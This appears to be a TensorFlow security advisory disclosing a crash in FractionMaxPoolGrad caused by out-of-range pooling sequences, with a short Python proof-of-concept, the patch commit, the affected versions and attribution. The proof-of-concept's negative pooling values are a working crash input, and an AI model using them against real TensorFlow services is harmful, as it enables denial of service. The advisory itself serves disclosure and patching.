Impact

If FractionMaxPoolGrad is given outsize inputs row_pooling_sequence and col_pooling_sequence, TensorFlow will crash.

import tensorflow as tf
tf.raw_ops.FractionMaxPoolGrad(
	orig_input = [[[[1, 1, 1, 1, 1]]]],
    orig_output = [[[[1, 1, 1]]]],
    out_backprop = [[[[3], [3], [6]]]],
    row_pooling_sequence = [-0x4000000, 1, 1], 
    col_pooling_sequence = [-0x4000000, 1, 1], 
    overlapping = False
 )

Patches

We have patched the issue in GitHub commit d71090c3e5ca325bdf4b02eb236cfb3ee823e927.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yu Tian from Qihoo 360 AIVul Team.